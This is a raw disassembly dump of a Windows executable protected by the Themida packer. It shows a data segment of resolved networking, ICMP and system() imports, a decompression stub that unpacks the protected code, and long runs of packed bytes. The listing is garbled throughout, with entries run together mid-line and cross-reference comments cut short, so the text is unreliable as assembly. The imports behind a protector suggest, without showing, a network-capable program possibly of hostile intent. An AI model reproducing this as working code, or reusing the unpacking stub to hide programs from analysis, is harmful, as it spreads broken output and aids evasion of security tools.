					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44794F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447998	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A44	dd 0				dd 11h dup(0)
		db 0
dword_447A8D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DF8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C9E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448CA2	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D16	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DB0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FCB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491CB	dd 0							; sub_4256B0+4Fw ...
dword_4491CF	dd 0							; ___:004240BDw ...
dword_4491D3	dd 0							; sub_4256B0+5Dr ...
dword_4491D7	dd 0							; sub_4256B0+8Cr ...
dword_4491DB	dd 0							; sub_4256B0+9Dr
dword_4491DF	dd 0							; ___:004240F1r ...
byte_4491E3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
		dd 3018h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F40o
		dd 0EB85h dup(0)
dword_49005C	dd 1147h dup(0)			db 2 dup(0)
word_49457A	dw 0			; DATA XREF: sub_59390B+10DF0o
					; sub_59390B+10E00o
		dd 9F5Bh dup(0)
		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 2256h dup(0)
dword_4C4C44	dd 3E02h dup(0)			db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44433Co
		dd 6DEh	dup(0)
		db 3 dup(0)
dword_4D5FCB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60B5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60CC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60CD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60D9	dd 0							; sub_404C20+2Aw
byte_4D60DD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D6107	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61CB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61CF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D638F	db 0			; DATA XREF: ___:004081C6o
					; ___:00408657o ...
		dd 8 dup(0)
dword_4D63B0	dd 0				dd 51h dup(0)
		db 0
byte_4D64F9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6775	dd 0							; sub_426CE0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE2E5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DCF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E55	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E672F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E84	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E85	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E9A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:0040866Bo ...
		dd 0Fh dup(0)
		db 0
byte_4E6ED9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6EDB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
		dd 751Eh dup(0)
dword_504354	dd 0AC6h dup(0)	dword_506E6C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE6C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB38	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB48	dd 0							; ___:0041FB3Dw ...
dword_50BB4C	dd 0							; sub_41FA90+2Aw ...
dword_50BB50	dd 0		dword_50BB54	dd 0							; ___:0041FB5Bw
dword_50BB58	dd 0		dword_50BB5C	dd 0							; ___:0041FB67w ...
dword_50BB60	dd 0							; ___:0041FB6Dw ...
dword_50BB64	dd 0							; ___:00420DA9o
dword_50BB68	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB6C	dd 0							; ___:0041FB81w
dword_50BB70	dd 0							; sub_420530+41w ...
dword_50BB74	dd 0							; sub_420530+7Fr
dword_50BB78	dd 0							; sub_420530+92r ...
dword_50BB7C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB8C	dd 0							; ___:0041C1A5o
dword_50BB90	dd 0							; sub_423720+5r ...
dword_50BB94	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAD0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAE8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E140	dd 0		word_50E144	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E148	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E14C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E150	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E154	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E15C	dd 80h dup(0)						; sub_426A60+129o
dword_50E35C	dd 0		dword_50E360	dd 0				dd 1Dh dup(0)
dword_50E3D8	dd 0							; ___:0042B11Dr ...
dword_50E3DC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3E0	dd 0		; resolved to->MSVCRT.calloc					; sub_431280+2Dr ...
dword_50E3E4	dd 0		dword_50E3E8	dd 0							; sub_430270r ...
dword_50E3EC	dd 0		dword_50E3F0	dd 0							; sub_42F6B0+111w ...
dword_50E3F4	dd 0							; sub_42F6B0+F6r ...
dword_50E3F8	dd 0							; ___:loc_4303B0r
dword_50E3FC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E900	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E940	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E960	dd 8 dup(0)						; sub_430690+25o ...
dword_50E980	dd 8 dup(0)						; sub_431560+84o ...
dword_50E9A0	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9C0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 182h dup(0)
		dd 5 dup(2F06C2B1h), 5 dup(44D568C4h), 5 dup(700B6C69h)
		dd 5 dup(51A91ACEh), 5 dup(23E451B2h), 5 dup(53DC040Bh)
		dd 5 dup(62D31A60h), 5 dup(4FECA3FAh), 5 dup(4FD5C522h)
		dd 5 dup(1C07C897h), 5 dup(31EAC45Ah), 1Eh dup(0)
		dd 53DC040Bh, 10h dup(0)
		dd 31EAC45Ah, 58h dup(0)
		dd 51A91ACEh, 1Bh dup(0)
		dd 4FD5C522h, 14h dup(0)
		dd 44D568C4h, 52h dup(0)
		dd 2F06C2B1h, 1Bh dup(0)
		dd 1C07C897h, 0Bh dup(0)
		dd 62D31A60h, 0Ch dup(0)
		dd 23E451B2h, 2Bh dup(0)
		dd 4FECA3FAh, 11h dup(0)
		dd 700B6C69h, 0Ah dup(0)
		dd 28A081Ah, 28B0000h, 28C0000h
dword_50F710	dd 28C12B2h			dd 28C14CDh
dword_50F718	dd 28C1685h			dd 28C1A05h, 28D0000h
dword_50F724	dd 28E0000h			dd 28F0000h, 28F03A8h, 28F06B8h, 28F0A78h
dword_50F738	dd 2900000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 2900571h	dword_50F740	dd 29007C9h			dd 2900971h, 2910000h
dword_50F74C	dd 291037Ch						; sub_40ED70+15Er ...
		dd 29106E4h
dword_50F754	dd 2920000h						; sub_40E7A0+22Cr
		dd 2930000h
dword_50F75C	dd 2940000h						; sub_4207E0+285r ...
		dd 2950000h
dword_50F764	dd 29510E8h						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2710000h, 27100E8h, 2720000h, 27205FDh, 272080Ch, 2720A77h
		dd 2720C16h, 2730000h, 27308BFh, 2730C72h, 2740000h, 27401E1h
		dd 2740865h, 2740897h, 2740C57h, 2750000h, 27502A5h, 2750599h
		dd 2750734h, 2750B11h, 2760000h, 27604DAh, 276057Ah, 2760912h
		dd 2760B47h, 2760D1Ch, 2770000h, 27701E1h, 2770384h, 27704B1h
		dd 277069Bh, 2770758h
dword_50F858	dd 27709C0h	dword_50F85C	dd 2780000h	dword_50F860	dd 2780187h			dd 7C901005h, 7C9010EDh, 2780354h, 278037Eh
dword_50F874	dd 2780399h						; sub_420530+FEr
		dd 27808ECh, 2790000h, 2790424h, 2790855h, 27A0000h, 27B0000h
		dd 27B0896h, 27C0000h, 27D0000h, 27D0968h
dword_50F8A0	dd 27E0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27E083Eh						; sub_40D580+332r ...
		dd 27E08F2h, 27E0B29h, 27F0000h, 2800000h, 280100Eh, 2810000h
		dd 2820000h
dword_50F8C4	dd 2821565h			dd 282173Fh, 2821B00h
dword_50F8D0	dd 2821DA2h						; sub_41B4B0+2Fr ...
		dd 2830000h
dword_50F8D8	dd 283076Ch						; sub_4203D0+2Er ...
		dd 2830B67h, 2840000h, 2840C2Eh
dword_50F8E8	dd 2850000h			dd 2850355h, 2860000h, 2870000h, 2880000h, 2880B30h, 2890000h
		dd 2890784h, 2890C45h
dword_50F90C	dd 28A0000h			dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42C790+19r ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat					; sub_4282C0+4A1r
		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C226F6h, 77C214E7h, 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh
dword_50FB04	dd 77C293C7h	; resolved to->MSVCRT.systemdword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28A0484h
off_50FBF0	dd offset sub_5EDAB2	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'e',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 00106000 (1073152.)
; Section size in file		: 00106000 (1073152.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 8BF0018h, 40C0Fh, 5EA06h, 158172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: Themida_:0051302Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: Themida_:00513072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: Themida_:00513059j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: Themida_:0051306Bj
		mov	edi, eax


loc_513076:				; CODE XREF: Themida_:0051302Fj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11326Ah
		add	ecx, edi
		jmp	short loc_513090
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: Themida_:0051301Cj
		mov	eax, offset loc_57C2CA
		mov	ecx, offset word_51326A


loc_513090:				; CODE XREF: Themida_:00513084j
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: Themida_:00513092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------


loc_513265:				; CODE XREF: Themida_:loc_513076j
					; Themida_:005130B1j
		jmp	loc_57C2CA
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: Themida_:0051308Bo
		dd 153354Ch, 4D0A1BFh, 1D13FC2h, 0C77F35C2h, 7C550878h
		dd 465728B3h, 1BE10311h, 8401F3BFh, 9288AB6Bh, 5F57ECACh
		dd 0E1033646h, 98F2BE1Eh, 75BC6F29h, 0E10324E6h, 112E3512h
		dd 71C8EFEFh, 0ABFB43B8h, 43B821C8h, 843B22F2h,	6854C06Fh
		dd 38696D65h, 0AA466164h, 0E11E33A2h, 52FCEE0Eh, 74736507h
		dd 41337261h, 0D32E8B70h, 7F08E778h, 0DD080167h, 0C58B0ED7h
		dd 0E860D443h, 815D4084h, 3355BEDh, 95890613h, 0D3F08B9h
		dd 3D3422B5h, 83C0E585h, 11CDBD10h, 0C740E70h, 0E245E88Bh
		dd 0C28588B8h, 44708EF7h, 813E3824h, 456A8030h,	29A3E830h
		dd 3D749A68h, 0DF280783h, 4B250F0Ah, 0D5480A89h, 214E985h
		dd 55E8EC2Bh, 83EC8B05h, 0EE60D8C4h, 20EA815Ah,	8B043649h
		dd 0D845C7DAh, 0E8C088Dh, 81088940h, 80637D7Eh,	3F0F741Dh
		dd 83920820h, 0FF104CB3h, 0EB314312h, 61DC36E1h, 0C90A26BAh
		dd 34604C2h, 0FF7CC481h, 22490247h, 458D0092h, 85D8B80h
		dd 19A285C7h, 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh
		dd 755D0106h, 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh
		dd 7ABB85Bh, 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h
		dd 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h,	5045EEECh
		dd 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h
		dd 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah
		dd 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h
		dd 390A0A61h, 0EBE90577h, 3F2293F7h, 0DB36114h,	8FB660Ah
		dd 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h,	10F52406h
		dd 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh
		dd 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh
		dd 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037D8h, 0E49470Fh
		dd 22B9FA75h, 0BBE06A2Eh, 0F1123101h, 6EEB823Bh, 868EC002h
		dd 1C1439B6h, 1F655107h, 8AEEA236h, 0E9892677h,	825920F2h
		dd 0E2E2C7ECh, 0C32C0B06h, 1D13EAh, 0E014CB8Ah,	299B944Ah
		dd 0A6C56E00h, 22ABC19Fh, 355937F1h, 0F6B65C54h, 34CB8C1Ch
		dd 39826700h, 1765B4Eh,	51B8100Fh, 0F1D1043Dh, 8746D93Bh
		dd 2E09755Eh, 20E1156h,	65E4EC48h, 4E800690h, 8E05C584h
		dd 0D7C99632h, 42A3C53h, 8C0629C2h, 0E7820571h,	98A2DD0Eh
		dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
		dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
		dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh,	13845A68h
		dd 0D1305645h, 55EE825Eh, 0F20281D4h, 0D58A2792h, 231310B9h
		dd 47439729h, 4568C6Bh,	725E2188h, 6D8A14C4h, 45339425h
		dd 21001C08h, 0DAC45646h, 1FDD32Eh, 2C2A84A0h, 31E08C67h
		dd 0EA088CCCh, 1E62F0Bh, 0D124CC8Eh, 0F84A8480h, 8D0C67F0h
		dd 2515E9DAh, 0ACDB0028h, 0CC50EECBh, 8500C4E6h, 80363C09h
		dd 79F845Fh, 676BDFD7h,	5C5BD0BCh, 507E281h, 0FA57B0B4h
		dd 10CA0B80h, 53406386h, 3EB9C8F6h, 2874218h, 0E4F0EE91h
		dd 11C339EAh, 0CE952h, 0D3512A0Dh, 0DC21C4E2h, 97122F02h
		dd 918110D8h, 0EAC45C97h, 6F0FCE0Fh, 565DAF00h,	160107E8h
		dd 0E77038E1h, 3E49A2F7h, 0AAB41F00h, 636EF88Ah, 8EA1812h
		dd 7D6A1B00h, 87A4CC0Eh, 9024DF10h, 44E93C1Fh, 2ADD07F9h
